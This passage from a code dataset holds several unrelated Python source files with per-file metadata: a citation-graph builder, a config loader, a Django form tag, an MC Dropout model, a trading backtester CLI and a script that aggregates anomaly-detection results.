enc  = int(enc_array.sum()/2)\n        enc_li.append(enc)\n    return np.array(enc_li)\n\n", "repo_name": "gpierobon/AxionStreams", "sub_path": "AxionStreams/orbit.py", "file_name": "orbit.py", "file_ext": "py", "file_size_in_byte": 2976, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "astropy.units.kpc", "line_number": 6, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 6, "usage_type": "name"}, {"api_name": "astropy.units.km", "line_number": 7, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 7, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 7, "usage_type": "attribute"}, {"api_name": "astropy.units.deg", "line_number": 8, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 8, "usage_type": "name"}, {"api_name": "astropy.units.Gyr", "line_number": 9, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 9, "usage_type": "name"}, {"api_name": "galpy.potential.NFWPotential", "line_number": 12, "usage_type": "call"}, {"api_name": "galpy.potential", "line_number": 12, "usage_type": "name"}, {"api_name": "galpy.df.isotropicNFWdf", "line_number": 13, "usage_type": "call"}, {"api_name": "galpy.df", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 19, "usage_type": "call"}, {"api_name": "astropy.units.Gyr", "line_number": 19, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 28, "usage_type": "attribute"}, {"api_name": "galpy.orbit.Orbit", "line_number": 29, "usage_type": "call"}, {"api_name": "galpy.potential.MWPotential2014", "line_number": 30, "usage_type": "attribute"}, {"api_name": "galpy.potential", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.column_stack", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 34, "usage_type": "call"}, {"api_name": "galpy.potential.NFWPotential", "line_number": 55, "usage_type": "call"}, {"api_name": "galpy.potential", "line_number": 55, "usage_type": "name"}, {"api_name": "galpy.df.isotropicNFWdf", "line_number": 56, "usage_type": "call"}, {"api_name": "galpy.df", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.argmin", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "37127043175", "text": "import os\nimport re\nimport json\nimport hashlib\nfrom wasabi import msg\nfrom thefuzz import fuzz\nimport xml.etree.ElementTree as et\n\nglobal user_answers\nuser_answers = []\n\n\ndef key_to_md5(key):\n    \"\"\"\n    convert bibtex-key to shortened md5-sum to avoid special characters\n    in the keys.\n\n    :param key: bibtex-key of an article\n    :return: converted key, first six characters of the key md5-sum\n    \"\"\"\n    m = hashlib.md5()\n    m.update(key.encode(\"utf-8\"))\n    hd = m.hexdigest()\n    shorthd = hd[:6]\n    if shorthd.isdigit():\n        return shorthd + \"a\"\n    return shorthd\n\n\ndef find_urls(string):\n    \"\"\"\n    Check if the given string contains an url,\n    used to find the pdfs of all articles.\n\n    :param string: link to the pdf of an article\n    :return: url if one is found\n    \"\"\"\n    url = re.findall(\n        r\"http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\), ]|(?:%[0-9a-fA-F][0-9a-fA-F]))+\",\n        string,\n    )\n    return url\n\n\ndef find_author(author_json):\n    \"\"\"\n    detect correct surnames of all authors out of the author-bibtex-field\n    :param author_json: author-field of an article from json export\n    :return: list of all surnames\n    \"\"\"\n    if \",\" not in author_json:\n        pattern = re.compile(r\"(?P<name>[A-Za-z\\-]+)(?: +and +| +AND +|$)\")\n    else:\n        pattern = re.compile(r\"(?:^|and +|AND +)(?P<name>[A-Za-z\\- ]+)\")\n    authors = pattern.findall(author_json)\n    return authors\n\n\ndef find_doi(input):\n    \"\"\"\n    checks if the doi of an article is syntactically correct or empty\n    :param input: doi of an article\n    :return: correct doi if found, otherwise None\n    \"\"\"\n    if input is None:\n        return None\n    regex = r\"(\\d\\d\\.\\d+\\/\\S+)\"\n    regex = re.compile(regex)\n    m = regex.search(input)\n    if m is not None:\n        return m.group()\n    return None\n\n\ndef find_matching_authors(artauthors, otherauthors):\n    \"\"\"\n    calculates the total number of authors and the number of shared authors\n    taking into account first authors\n    :param artauthors: authors of first examined article\n    :param otherauthors: authors of second article\n    :return: two paramenters to calculate the score of the two articles\n    \"\"\"\n    counter = 0\n    number = len(artauthors) + len(otherauthors)\n    if len(artauthors) == 0 or len(otherauthors) == 0:\n        return counter, number\n    for author in artauthors:\n        if author == artauthors[0]:\n            if author == otherauthors[0]:\n                counter += 5\n                number -= 1\n            elif (\n                next(\n                    (\n                        a\n                        for a in otherauthors\n                        if fuzz.ratio(author.upper(), a.upper()) >= 95\n                    ),\n                    None,\n                )\n                is not None\n            ):\n                counter += 3\n                number -= 1\n        elif author == otherauthors[0]:\n            counter += 3\n            number -= 1\n        elif (\n            next(\n                (\n                    a\n                    for a in otherauthors\n                    if fuzz.ratio(author.upper(), a.upper()) >= 95\n                ),\n                None,\n            )\n            is not None\n        ):\n            counter += 1\n            number -= 1\n    return counter, number\n\n\ndef citation_matching(\n    doi_art,\n    doi_ref,\n    title_art,\n    title_ref,\n    author_art,\n    authors_ref,\n    without_interactive_queries,\n):\n    \"\"\"\n    Checks if a reference and an article of the citation graph match,\n    if yes a citation is found.\n\n    :param doi_art: doi of the article\n    :param doi_ref: doi of the reference\n    :param title_art: article title\n    :param title_ref: reference title\n    :param author_art: article authors\n    :param authors_ref: reference authors\n    :param without_interactive_queries: true for interactive mode\n    :return: True iff a match is found\n    \"\"\"\n\n    def ask_user(title_art, title_ref, author_art, authors_ref):\n\n        global user_answers\n\n        if without_interactive_queries:\n            return False\n        else:\n\n            # Check if user already answered this question before\n            question = (title_art, title_ref, author_art, authors_ref)\n            for user_answer in user_answers:\n                if user_answer[\"question\"] == question:\n                    return user_answer[\"answer\"]\n\n            # Prompt a question to the user and get his answer\n            msg.warn(\"Unsure whether the entries belong together or not:\")\n            print(\n                \"Article:  Title = \"\n                + title_art\n                + \"\\n\\t  Authors = \"\n                + str(author_art).strip(\"[]\")\n                + \"\\nReference: Title = \"\n                + title_ref\n                + \"\\n\\t Authors = \"\n                + str(authors_ref).strip(\"[]\")\n            )\n\n            msg.text(\n                \"Do both entries belong to the same article?\",\n                color=\"grey\",\n            )\n            msg.text(\n                \"Please enter 'y' or 'n'...\",\n                color=\"grey\",\n            )\n            if input() == \"y\":\n                user_answers.append({\"question\": question, \"answer\": True})\n                return True\n            else:\n                user_answers.append({\"question\": question, \"answer\": False})\n                return False\n\n    doi_art = find_doi(doi_art)\n    doi_ref = find_doi(doi_ref)\n\n    if doi_art == doi_ref and doi_art is not None and doi_ref is not None:\n        # That was easy, DOIs match.\n        return True\n\n    elif type(title_art) == str and type(title_ref) == str:\n\n        # Normalize titles\n        clean_title_art = title_art.replace(\"{\", \"\").replace(\"}\", \"\").upper()\n        clean_title_ref = title_ref.replace(\"{\", \"\").replace(\"}\", \"\").upper()\n\n        # Get similarity between titles\n        lev = fuzz.ratio(clean_title_art, clean_title_ref)\n        lev_partial = fuzz.partial_ratio(clean_title_art, clean_title_ref)\n\n        if lev > 90 or (lev_partial > 95 and lev > 70):\n            # Titles can be considered matching.\n            counter, number = find_matching_authors(author_art, authors_ref)\n\n            if counter >= 2:\n                # Authors can be considered matching.\n                return True\n            else:\n                # Authors seem not to match. Ask the user for help!\n                return ask_user(\n                    clean_title_art, clean_title_ref, author_art, authors_ref\n                )\n\n        elif lev_partial > 90 and lev > 60:\n            # Titles seem not to match. Ask the user for help!\n            return ask_user(\n                clean_title_art, clean_title_ref, author_art, authors_ref\n            )\n\n        else:\n            # Consider it certain that the titles do not match.\n            return False\n    else:\n        return False\n\n\ndef build_graph_model(\n    json_bib_file,\n    tei,\n    graph_dir,\n    graph_filename,\n    original_bibtex_keys,\n    without_interactive_queries,\n):\n    \"\"\"\n    Output looks like this:\n        {\n        \"years\": [2017, 2016, 2019, 2019, 2020, 2019,...],\n        \"year_arts\": {\n            \"2010\": [\"Hoffmann et al (2010)\"],\n            \"2011\": [\"Weng et al (2011)\", \"Tu et al (2011)\"]\n            ...\n        },\n        \"articles\": [\n            {\n            \"title\": \"Bootstrapping for {Numerical} {Open} {IE}\",\n            \"author\": [\"Saha\", \"Pal\"],\n            \"key\": \"Saha et al (2017)\",\n            \"year\": \"2017\"\n            },\n            {\n            \"title\": \"Numerical Relation Extraction with Minimal Supervision\",\n            \"author\": [\"Madaan\", \"Mittal\"],\n            \"key\": \"Madaan and Mittal (2016)\",\n            \"year\": \"2016\"\n            }\n            ...\n        ],\n        \"edges\": [\n            {\n            \"from\": \"Saha et al (2017)\",\n            \"to\": \"Hoffmann et al (2010)\"\n            },\n            {\n            \"from\": \"Saha et al (2017)\",\n            \"to\": \"Madaan and Mittal (2016)\"\n            },\n            ...\n        ]\n    }\"\"\"\n    msg.divider(\"Build citation graph model from references in PDFs\")\n\n    with open(json_bib_file, \"r\") as file:  # encoding='utf8'\n        bib = json.load(file)\n\n    articles = bib[\"final selection articles\"]\n\n    if not (original_bibtex_keys):\n        for article in articles:\n            article[\"bibtex_key\"] = key_to_md5(article[\"bibtex_key\"])\n\n    # Init graph\n    graph = {}\n\n    # Add years (e.g., \"years\": [2017, 2016, 2019, 2019, 2020, 2019,...])\n    years = []\n    for article in articles:\n        if article[\"year\"] is not None:\n            years.append(int(article[\"year\"]))\n\n    graph[\"years\"] = years\n\n    # Add year_arts\n    graph[\"year_arts\"] = {}\n    for year in range(min(years), max(years) + 1):\n        this_year_arts = []\n        for article in articles:\n            if int(article[\"year\"]) == year:\n                this_year_arts.append(article[\"bibtex_key\"])\n        graph[\"year_arts\"][year] = this_year_arts\n\n    # Add articles\n    graph[\"articles\"] = []\n    for article in articles:\n        authors = find_author(article[\"author\"])\n        article_dict = {\n            \"title\": article[\"title\"],\n            \"author\": authors,\n            \"key\": article[\"bibtex_key\"],\n            \"year\": article[\"year\"],\n        }\n        graph[\"articles\"].append(article_dict)\n\n    # Add edges\n    graph[\"edges\"] = []\n    namespace = \"{http://www.tei-c.org/ns/1.0}\"\n\n    for article in articles:\n\n        # Check if field for file references is used\n        if article[\"file\"] is None:\n            continue\n\n        # Get filename of TEI corresponding to PDF\n        xmlName = os.path.basename(article[\"file\"])[:-4]\n        tei_file = os.path.join(tei, \"{}.tei.xml\".format(xmlName))\n\n        # Check if TEI file exists\n        if not os.path.isfile(tei_file):\n            msg.fail(\"tei-file not found for \" + article[\"title\"])\n            continue\n\n        # Check if TEI content is empty\n        with open(tei_file, \"r\", encoding=\"utf8\") as f:\n            tei_content = f.read()\n\n        if tei_content in [\n            \"[NO_BLOCKS] PDF parsing resulted in empty content\",\n            \"[BAD_INPUT_DATA] PDF to XML conversion failed with error code: 1\",\n        ]:\n            msg.fail(\"tei-file is empty for\", article[\"title\"])\n            continue\n\n        print(\"\")\n        msg.text(\"Processing \" + tei_file, color=\"blue\")\n\n        # Loop over all references that Grobid found\n        xml = et.parse(tei_file)\n        for ref in xml.findall(\".//{}biblStruct\".format(namespace)):\n\n            # Get title of referenced paper\n            ref_title = ref.find(\".//{}title\".format(namespace)).text\n            ref_title = ref_title  # if ref_title is not None else 'Ohne Titel'\n\n            # Get DOI of referenced paper\n            if (\n                ref.find('.//{}idno[@type=\"doi\"]'.format(namespace))\n                is not None\n            ):\n                ref_doi = ref.find(\n                    './/{}idno[@type=\"doi\"]'.format(namespace)\n                ).text\n            else:\n                ref_doi = None\n\n            # Get authors of referenced paper\n            ref_authors = []\n            for ref_author in ref.findall(\".//{}surname\".format(namespace)):\n                ref_authors.append(ref_author.text)\n\n            # Check if the referenced paper is included in the\n            # given set of papers. If so, add an edge between\n            # the current paper and the referenced paper.\n            for art in articles:\n                art_authors = find_author(art.get(\"author\"))\n                art_doi = art.get(\"doi\")\n\n                if art[\"title\"] is article[\"title\"]:\n                    # An article cannot cite itself\n                    continue\n\n                elif citation_matching(\n                    art_doi,\n                    ref_doi,\n                    art[\"title\"],\n                    ref_title,\n                    art_authors,\n                    ref_authors,\n                    without_interactive_queries,\n                ):\n                    # This article matches the references, therefore add an\n                    # edge between this article and the article referencing\n                    # this article.\n                    edge = {\n                        \"from\": article[\"bibtex_key\"],\n                        \"to\": art[\"bibtex_key\"],\n                    }\n                    graph[\"edges\"].append(edge)\n                    break\n\n    with open(os.path.join(graph_dir, graph_filename), \"w\") as jf:\n        json.dump(graph, jf, indent=2)\n", "repo_name": "FZJ-IEK3-VSA/citation-graph-builder", "sub_path": "src/utils/reviz_graph_model.py", "file_name": "reviz_graph_model.py", "file_ext": "py", "file_size_in_byte": 12520, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "hashlib.md5", "line_number": 21, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 38, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 52, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 54, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 68, "usage_type": "call"}, {"api_name": "thefuzz.fuzz.ratio", "line_number": 97, "usage_type": "call"}, {"api_name": "thefuzz.fuzz", "line_number": 97, "usage_type": "name"}, {"api_name": "thefuzz.fuzz.ratio", "line_number": 113, "usage_type": "call"}, {"api_name": "thefuzz.fuzz", "line_number": 113, "usage_type": "name"}, {"api_name": "wasabi.msg.warn", "line_number": 162, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 162, "usage_type": "name"}, {"api_name": "wasabi.msg.text", "line_number": 174, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 174, "usage_type": "name"}, {"api_name": "wasabi.msg.text", "line_number": 178, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 178, "usage_type": "name"}, {"api_name": "thefuzz.fuzz.ratio", "line_number": 203, "usage_type": "call"}, {"api_name": "thefuzz.fuzz", "line_number": 203, "usage_type": "name"}, {"api_name": "thefuzz.fuzz.partial_ratio", "line_number": 204, "usage_type": "call"}, {"api_name": "thefuzz.fuzz", "line_number": 204, "usage_type": "name"}, {"api_name": "wasabi.msg.divider", "line_number": 276, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 276, "usage_type": "name"}, {"api_name": "json.load", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 330, "usage_type": "call"}, {"api_name": "os.path", "line_number": 330, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 334, "usage_type": "call"}, {"api_name": "os.path", "line_number": 334, "usage_type": "attribute"}, {"api_name": "wasabi.msg.fail", "line_number": 335, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 335, "usage_type": "name"}, {"api_name": "wasabi.msg.fail", "line_number": 346, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 346, "usage_type": "name"}, {"api_name": "wasabi.msg.text", "line_number": 350, "usage_type": "call"}, {"api_name": "wasabi.msg", "line_number": 350, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 353, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 353, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.findall", "line_number": 354, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 354, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 406, "usage_type": "call"}, {"api_name": "os.path", "line_number": 406, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 407, "usage_type": "call"}]}
{"seq_id": "126792439", "text": "\"\"\"\nConfig subroutine for YiQi. Manages configuration files in order for\nother parts of the program to call back to and get user data.\n\"\"\"\n\nimport json\nimport os\nimport shutil\n\nconfigPath = 'config/keys.json'\nemptyConfigPath = 'config/keyBlanks.json'\n\ndef init():\n    \"\"\"\n    Initializes the config file. If a file exists, loads the config\n    file into the configs variable for access later and sets the\n    file to global. If it doesn't exist or the file cannot be\n    decoded, the file is destroyed and recreated.\n    \"\"\"\n\n    global configs\n    try:\n        configFile = open(configPath)\n    except FileNotFoundError:\n        dest = shutil.copyfile(configPath, emptyConfigPath)\n        configFile = open(dest)\n    finally:\n        try:\n            configs = json.load(configFile)\n        # If there is an issue, reset the config file\n        except json.decoder.JSONDecodeError:\n            configFile.close()\n            os.remove(configPath)\n            init()\n        configFile.close()\n\ndef exit():\n    configFile = open(configPath, 'w')\n    json.dump(configs, configFile)\n    configFile.close()\n\ndef main():\n    \"\"\"\n    The main function of Config handles the initialization of the\n    entire class to ensure that the data is clear and usable.\n    \"\"\"\n    init()", "repo_name": "gideontong/YiQi", "sub_path": "modules/Config.py", "file_name": "Config.py", "file_ext": "py", "file_size_in_byte": 1271, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "shutil.copyfile", "line_number": 25, "usage_type": "call"}, {"api_name": "json.load", "line_number": 29, "usage_type": "call"}, {"api_name": "json.decoder", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "11674185029", "text": "from django import template\n\nregister = template.Library()\n\n@register.simple_tag\ndef formfield(field, id, label):\n    return \"\"\"\n<li>\n    %(errors)s\n    <label for=\"%(id)s\">\n        %(label)s\n    </label>\n    %(field)s\n</li>\n    \"\"\" % {\n        'errors': field.errors,\n        'id': id,\n        'label': label,\n        'field': field,\n    }\n", "repo_name": "unpatioli/tenniswall", "sub_path": "common_templatetags/templatetags/form.py", "file_name": "form.py", "file_ext": "py", "file_size_in_byte": 341, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.template.Library", "line_number": 3, "usage_type": "call"}, {"api_name": "django.template", "line_number": 3, "usage_type": "name"}]}
{"seq_id": "26894511694", "text": "import torch\nimport torch.nn as nn\nfrom .base import BaseModel\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom uncertaintylearning.utils import get_dropout_uncertainty_estimate\n\n\nclass MCDropout(BaseModel):\n    def __init__(self, train_X, train_Y,\n                 network,\n                 optimizer,\n                 batch_size=16,\n                 device=torch.device(\"cpu\")):\n        super().__init__()\n        self.train_X = train_X\n        self.train_Y = train_Y\n\n        self.input_dim = train_X.size(1)\n        self.output_dim = train_Y.size(1)\n\n        self.epoch = 0\n        self.loss_fn = nn.MSELoss()\n\n        self.f_predictor = network\n        self.device = device\n\n        self.f_optimizer = optimizer\n\n        self.actual_batch_size = min(batch_size, len(self.train_X) // 2)\n\n    def fit(self, epochs=100):\n        \"\"\"\n        Update a,f,e predictors with acquired batch\n        \"\"\"\n\n        self.train()\n        data = TensorDataset(self.train_X, self.train_Y)\n\n        loader = DataLoader(data, shuffle=True, batch_size=self.actual_batch_size)\n        for epoch in range(epochs):\n            for batch_id, (xi, yi) in enumerate(loader):\n                xi = xi.to(self.device)\n                yi = yi.to(self.device)\n                self.f_optimizer.zero_grad()\n                y_hat = self.f_predictor(xi)\n                f_loss = self.loss_fn(y_hat, yi)\n                f_loss.backward()\n                self.f_optimizer.step()\n\n            self.epoch += 1\n\n        return {\n            'f': f_loss.detach().item(),\n        }\n\n    def _uncertainty(self, x, num_samples=100):\n        \"\"\"\n        Computes uncertainty for input sample and\n        returns total uncertainty estimate.\n        \"\"\"\n        _, var = get_dropout_uncertainty_estimate(self.f_predictor, x, num_samples=num_samples)\n        var = var ** 2\n        return var\n\n    def get_prediction_with_uncertainty(self, x):\n        out = super().get_prediction_with_uncertainty(x)\n        if out is None:\n            self.eval()\n            mean = self.f_predictor(x)\n            self.train()\n            var = self._uncertainty(x)\n            return mean, var\n        return out\n\n", "repo_name": "MJ10/DEUP", "sub_path": "uncertaintylearning/models/mcdropout.py", "file_name": "mcdropout.py", "file_ext": "py", "file_size_in_byte": 2170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "78", "api": [{"api_name": "base.BaseModel", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 39, "usage_type": "call"}, {"api_name": "uncertaintylearning.utils.get_dropout_uncertainty_estimate", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "40538514494", "text": "import logging\nfrom exchange.binance import BinanceClient\nfrom data_collector import collect_all\nimport backtester\nimport datetime\nfrom utils import TF_EQUIV\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\n\nformatter = logging.Formatter(\"%(asctime)s %(levelname)s :: %(message)s\")\n\nstream_handler = logging.StreamHandler()\nstream_handler.setFormatter(formatter)\nstream_handler.setLevel(logging.INFO)\nfile_handler = logging.FileHandler(\"info.log\")\nfile_handler.setFormatter(formatter)\nfile_handler.setLevel(logging.DEBUG)\n\n\nlogger.addHandler(file_handler)\nlogger.addHandler(stream_handler)\n\n# logger.info(\"this a info log\")\n\n\n# only this file run then only run otherwise if imported in other then dont run\n\n\n#1. asking from what you want to perfrom ( add data of 1 min, and later can change to any other form, or backtest, optimize)\n\n#2 . asking for which client you want to fetch data from\n\n#3. What currency pair your want to pull\n\n#4 if backtest choose strategy, like 1.moving average 2. vwap startegy , timeframe (Reseampled timeframe using numpy library)\n\nif __name__ == \"__main__\":\n    mode = input(\"choose  the program mode (data/ backtest / optimize) : \").lower()\n    client = BinanceClient()\n    while True:\n        exchange = input(\"Choose a exchange : \")\n        if exchange == \"binance\":\n            break\n\n\n    while True:\n        symbol = input(\"Choose a symbol : \").upper()\n        if symbol in client.symbols:\n            break\n\n    if mode == \"data\":\n        collect_all(client, exchange, symbol)\n\n\n    elif mode == \"backtest\":\n\n        #strategy testing\n\n\n        available_strategies =['obv', 'ichimoku']\n        while True:\n            strategy = input(f\"Chose a strategy: ({', '.join(available_strategies)}) : \").lower()\n\n            if strategy in available_strategies:\n                break\n        #timeframe\n        while True:\n            tf = input(f\"Chose a timeframe: ({', '.join(TF_EQUIV.keys())}): \").lower()\n\n            if tf in TF_EQUIV.keys():\n                break\n         #from_time\n        while True:\n            from_time = input(\"backtest from (yyyy-mm-dd or Press Enter): \")\n\n            if from_time == \"\":\n                from_time = 0\n                break\n            try:\n                from_time = int(datetime.datetime.strptime(from_time,\"%y-%m-%d\").timestamp()*1000)\n                break\n            except ValueError:\n                continue\n\n        # to Time\n        while True:\n            to_time = input(\"backtest to (yyyy-mm-dd or Press Enter) : \")\n\n            if to_time == \"\":\n                to_time = int(datetime.datetime.now().timestamp()*1000)\n                break\n            try:\n                to_time = int(datetime.datetime.strptime(to_time, \"%y-%m-%d\").timestamp() * 1000)\n                break\n            except ValueError:\n                continue\n\n\n        backtester.run(exchange,symbol,strategy, tf, from_time,to_time)\n\n\n", "repo_name": "quant-rishabh/backtesting", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2915, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 17, "usage_type": "attribute"}, {"api_name": "exchange.binance.BinanceClient", "line_number": 39, "usage_type": "call"}, {"api_name": "exchange.binance", "line_number": 41, "usage_type": "name"}, {"api_name": "exchange.binance", "line_number": 42, "usage_type": "name"}, {"api_name": "data_collector.collect_all", "line_number": 52, "usage_type": "call"}, {"api_name": "exchange.binance", "line_number": 52, "usage_type": "argument"}, {"api_name": "utils.TF_EQUIV.keys", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.TF_EQUIV", "line_number": 68, "usage_type": "name"}, {"api_name": "utils.TF_EQUIV.keys", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.TF_EQUIV", "line_number": 70, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 80, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 93, "usage_type": "attribute"}, {"api_name": "backtester.run", "line_number": 99, "usage_type": "call"}, {"api_name": "exchange.binance", "line_number": 99, "usage_type": "argument"}]}
{"seq_id": "30980035403", "text": "import glob\nfrom statistics import mean, stdev\n\ndirectories = ['./baselines_results/oc-svm',\n                './baselines_results/isoforest',\n               '../cvdd_log']\n\nsong_genres_classes = ['1_Pop', '3_Hip-Hop', '4_Electronic', '0_Indie', '8_Rock', '2_Metal', '5_Country', '6_Folk', '9_Jazz']\ngutcat_classes = ['4_Biology', '1_Botany', '2_CIA', '7_Canada', '0_Detective', \n                  '9_Historical', '3_Mystery', '8_Science', '5_Childrens', '6_Harvard']\ngutaut_classes = ['1_Arthur_Conan_Doyle', '0_Charles_Dickens', '3_Charles_Darwin', '2_Mark_Twain', '6_Edgar_Allan_Poe', \n                  '4_Walter_Scott', '7_United_States', '9_H', '8_L', '5_Agatha_Christie']\nvua_classes = ['0_1', '1_0']\ncola_classes = ['0_1', '1_0']\nnewsgroups20_classes = ['0_rec', '1_sci', '2_misc', '3_pol', '4_rel', '5_comp']\nagnews_classes = ['0_business', '1_sports', '2_sci', '3_world']\ndatasets_dict ={'song_genres': song_genres_classes, 'gutenberg_categories': gutcat_classes,\n                'gutenberg_authors': gutaut_classes, 'vua': vua_classes, 'cola': cola_classes,\n                'newsgroups20': newsgroups20_classes, 'agnews': agnews_classes}\n\naggres_dict_auroc = {}\naggres_dict_auprin = {}\naggres_dict_auprout = {}\n\ndatasets = ['song_genres', 'gutenberg_categories', 'gutenberg_authors', 'cola', 'vua', 'newsgroups20', 'ag_news']\n\nfor directory in directories:\n    if directory == '../cvdd_log':\n        for dataset in datasets + ['ag_news']:\n            fullpath = directory + '/' + dataset + '/log.txt'\n\n            if fullpath not in aggres_dict_auroc:\n                aggres_dict_auroc[fullpath] = []\n            if fullpath not in aggres_dict_auprin:\n                aggres_dict_auprin[fullpath] = []\n            if fullpath not in aggres_dict_auprout:\n                aggres_dict_auprout[fullpath] = []\n\n            with open(fullpath, 'r') as f:\n                lines = f.readlines()\n                for line in lines:\n                    if 'root - INFO - Test AUC:' in line:\n                        aggres_dict_auroc[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n                    elif 'root - INFO - Test AUPR-In:' in line:\n                        aggres_dict_auprin[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n                    elif 'root - INFO - Test AUPR-Out:' in line:\n                        aggres_dict_auprout[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n\n    for dataset in datasets:\n        fullpath = directory + '/' + dataset + '/'\n        \n        if fullpath not in aggres_dict_auroc:\n            aggres_dict_auroc[fullpath] = []\n        if fullpath not in aggres_dict_auprin:\n            aggres_dict_auprin[fullpath] = []\n        if fullpath not in aggres_dict_auprout:\n            aggres_dict_auprout[fullpath] = []\n\n        for file in glob.glob(fullpath + '/*.txt'):\n            with open(file, 'r') as f:\n                lines = f.readlines()\n                for line in lines:\n                    if 'Test AUC:' in line:\n                        aggres_dict_auroc[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n                    elif 'Test AUPR-In:' in line:\n                        aggres_dict_auprin[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n                    elif 'Test AUPR-Out:' in line:\n                        aggres_dict_auprout[fullpath].append(float(line.split(':')[-1].strip()[:-1]))\n\nfor fullpath in glob.glob('../log_date/*.txt'):\n    if fullpath not in aggres_dict_auroc:\n        aggres_dict_auroc[fullpath] = []\n    if fullpath not in aggres_dict_auprin:\n        aggres_dict_auprin[fullpath] = []\n    if fullpath not in aggres_dict_auprout:\n        aggres_dict_auprout[fullpath] = []\n    with open(fullpath, 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            if 'ROC' in line:\n                aggres_dict_auroc[fullpath].append(float(line.split(':')[-1].strip()))\n            elif 'AUPR-IN' in line:\n                aggres_dict_auprin[fullpath].append(float(line.split(':')[-1].strip()))\n            elif 'AUPR-OUT' in line:\n                